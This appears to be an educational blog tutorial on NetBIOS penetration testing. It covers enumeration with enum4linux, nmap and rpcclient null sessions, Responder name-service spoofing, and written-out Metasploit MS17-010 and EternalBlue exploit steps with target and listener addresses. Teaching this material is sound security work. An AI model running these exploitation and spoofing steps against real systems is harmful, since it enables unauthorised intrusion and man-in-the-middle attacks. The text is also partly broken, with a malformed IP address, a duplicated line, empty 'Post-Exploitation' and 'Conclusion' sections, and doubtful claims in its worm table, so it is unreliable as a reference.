NetBios Penetration Testing

In today’s digital world, securing network systems is of utmost importance. One tool used to communicate over Local Area Network (LAN) that may be vulnerable to security breaches is NetBios.

Welcome to our detailed guide on NetBios Penetration Testing.

This blog aims to educate cybersecurity enthusiasts, IT professionals, and budding ethical hackers about the intricacies of NetBios, its potential vulnerabilities, and how penetration testing can be used to identify and fix those vulnerabilities.

Introduction

NetBIOS Penetration Testing (Network Basic Input/Output System) is a legacy protocol used for communication between computers in a local network.

Penetration testing involves assessing the security of a network or system to identify vulnerabilities and potential exploits.

NetBIOS Ports

When it comes to NetBIOS penetration testing, there are several fundamental aspects to consider.

NETBIOS Ports

Please note that while NetBIOS-related specifications are documented in RFC 1001 and RFC 1002, the specific RFC for the Microsoft DCOM implementation over NetBIOS is not publicly available.

It’s worth mentioning that in modern network environments, NetBIOS is considered a legacy protocol, and the use of more secure and efficient protocols like SMBv3 or SMB over TCP/IP (port 445) is recommended.

Name service for name registration and resolution (ports: 137/udp and 137/tcp).

Datagram distribution service for connectionless communication (port: 138/udp).

Session service for connection-oriented communication (port: 139/tcp).

Remember always test the default Windows credentials for old systems.

NetBIOS Hacking Tools

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NetBios Penetration Testing

Buckle up as we navigate through the complex yet captivating world of NetBios Penetration Testing!

NetBIOS Enumeration

As a penetration tester, when enumerating the NetBIOS protocol, there are several areas you should focus on to identify potential vulnerabilities and gather information.

Here are some key aspects to consider during NetBIOS enumeration:

NetBIOS Names

Enumerate NetBIOS names to identify systems and services available on the network. This can be done using tools like NBTScan, enum4linux, or nmap with the “–script nbstat” option.

enum4linux -a 192.168.1.125

NetBIOS Shares

Enumerate shared resources (folders, printers, etc.) on NetBIOS-enabled systems. Tools like enum4linux, smbclient, or Metasploit’s auxiliary modules can assist in listing accessible shares and their permissions.

User Accounts

Enumerate user accounts through NetBIOS. This can include gathering NetBIOS-specific user information, such as usernames, SIDs (Security Identifiers), and related details.

Tools like enum4linux or smbclient can help in this process.

Group Information

Enumerate NetBIOS groups and their memberships. Identify security groups, administrative groups, or any other relevant information that can assist in privilege escalation or lateral movement.

Service Information

Identify the NetBIOS services running on target systems and gather information about their configurations. This can include obtaining version information, identifying vulnerable service implementations, or checking for misconfigurations that can lead to security weaknesses.

NetBIOS Sessions

Enumerate active NetBIOS sessions to identify established connections between systems. This can provide insights into the communication and potential attack vectors.

sudo nmap -sU --script nbstat.nse -p137 192.168.1.125

NetBIOS Null Sessions

NetBIOS allows for anonymous access known as a null session. Attackers can exploit misconfigured permissions on shares or RPC interfaces accessible through null sessions to gather sensitive information, such as user account details or system configurations.

rpcclient -U ""

NetBIOS over TCP/IP (NBT) Records

Explore NetBIOS over TCP/IP (NBT) records in DNS to gather additional information about NetBIOS-enabled systems. Look for DNS entries related to NetBIOS names, IP addresses, or other relevant records.

nbstat

nmblookup -A 192.168.1.95

nmblookup

nmap -sV 192.168.1.95 --script nbstat.nse

Nmap Netbios Scan

NetBIOS Name Service (NBNS) Spoofing

This vulnerability allows an attacker to spoof responses to NetBIOS name queries, redirecting traffic to their malicious system. This can be used for various purposes, such as conducting man-in-the-middle attacks.

Tools like Responder can automate this process.

sudo responder -I eth0 -wFb

NetBIOS Session Hijacking

NetBIOS sessions can be hijacked by exploiting weaknesses in the session establishment and management process. By capturing and analyzing NetBIOS traffic, an attacker can extract session-specific information or even take control of active sessions.

NetBIOS Password Cracking

Weak or default passwords used for NetBIOS authentication can be exploited through brute-forcing or password-cracking techniques. This allows attackers to gain unauthorized access to systems with weak password configurations.

NetBIOS Denial-of-Service (DoS)

Attackers can flood NetBIOS services with a high volume of requests, overwhelming the target system and causing it to become unresponsive. This can lead to a denial-of-service condition, disrupting normal operations.

NetBIOS Worms

Worms like Conficker (also known as Downadup) targeted NetBIOS vulnerabilities to spread across networks rapidly. These worms exploited weaknesses in NetBIOS implementations to infect vulnerable systems, creating botnets for malicious activities.

Worm Name

Description

Propagation Mechanism

Impact

Notable Features

Conficker

Emerged in 2008, highly prolific

Exploited vulnerabilities in Windows, including NetBIOS

Created a massive botnet, compromised millions of systems

Polymorphic code, domain generation algorithm

Nimda

Multifaceted worm, spread via multiple vectors

Exploited vulnerabilities in Windows, including NetBIOS

Rapidly spread, disrupted networks and services

Combined email, web, and network-based propagation

CodeRed

Emerged in 2001, targeted Windows servers

Exploited buffer overflow vulnerability in IIS, used NetBIOS

Infected servers, defaced websites, caused network outages

Rapid propagation, defacement of web pages

SQL Slammer

Exploited buffer overflow in Microsoft SQL Server

Utilized UDP port scanning to find vulnerable systems

Caused widespread Internet slowdowns and disruptions

Extremely fast propagation, small code size

NetBIOS Vulnerability Assessment

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CVE Identifier

Description

CVSS Score

Impact

Remediation

CVE-2020-0796

Remote Code Execution in Microsoft SMBv3

10.0

Remote code execution

Apply security updates or workaround provided by Microsoft

CVE-2017-0143

Windows SMB Remote Code Execution Vulnerability

10.0

Remote code execution

Apply security updates provided by Microsoft

CVE-2017-0145

Windows SMB Remote Code Execution Vulnerability

10.0

Remote code execution

Apply security updates provided by Microsoft

CVE-2017-0146

Windows SMB Remote Code Execution Vulnerability

10.0

Remote code execution

Apply security updates provided by Microsoft

CVE-2017-0148

Windows SMB Remote Code Execution Vulnerability

10.0

Remote code execution

Apply security updates provided by Microsoft

CVE-2016-3225

Windows NetBIOS Name Service Spoofing

7.5

Spoofing

Apply security updates provided by Microsoft

CVE-2013-3881

Multiple Buffer Overflows in Microsoft SMBv1

10.0

Remote code execution

Apply security updates provided by Microsoft

NetBIOS Exploitation

NetBIOS Name Service Spoofer

smb_ms17_010

use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128 msf auxiliary(smb_ms17_010) > set rport 445 msf auxiliary(smb_ms17_010) > exploit

ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128 msf exploit(ms17_010_eternalblue) >set rport 445 msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115 msf exploit(ms17_010_eternalblue) > exploit

MSF: auxiliary/server/netbios_spoof_nat

MSF: auxiliary/server/netbios_spoof_nat

NetBIOS Post-Exploitation

Conclusion